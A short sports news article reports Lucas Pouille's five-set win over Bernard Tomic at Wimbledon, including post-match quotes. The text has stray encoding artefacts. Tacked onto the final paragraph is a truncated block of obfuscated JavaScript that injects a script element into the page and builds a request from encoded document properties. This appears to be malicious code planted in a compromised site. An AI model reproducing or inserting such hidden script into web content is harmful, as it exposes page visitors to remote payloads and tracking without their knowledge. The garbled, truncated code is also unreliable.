There were a couple of firsts’ for Frenchman Lucas Pouille when he defeated 19th seed Bernard TomicA6-4 4-6 3-6 6-4 10-8 on Monday at Wimbledon.
It was the first time he won a five setter at the tour level and the first time he beat a seeded player at a Grand Slam.
The match was energy sapping and it was evident when Pouille won the almost three-hour battle Aand sat back stunned on his chair, trying to soak in his achievement and the crowd’s appreciation.
It’s been a dream run for the 22-year old, he reached the last 16 for the first time and overcame Argentine Juan Martin del Potro in the process as well, exceeding his own expectations.
“Before the tournament, (it) was to win one match on grass. Yeah, now, of course, I’m very happy, very emotional with the win today,” the 32nd seed told reporters post the match.
“I had a big chance to make a semi at Wimbledon … But I have to give credit to him, because he played the right tennis to win,” said Bernard Tomic, who had previously reached the Wimbledon quarter-finals in 2011 as a qualifier.
Pouille next faces either Jiri Vesely or Tomas Berdych, a former finalist in the semi finals. He seemed pretty confident when talking about his next encounter,A”I think it will be one of my most important matches of my career so far. To reach the semi-final of a grand slam, of course, it’s important.AIf it’s Jiri Vesely, it’s the same for him. If it’s Berdych, he has already made the final here.”
However, he will have to wait until Tuesday to see who will face-off against after the Berdych-Vesely tie rested at 6-4 3-6 6-7(8) 7-6(9) at the close of play due to fading light. 0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}
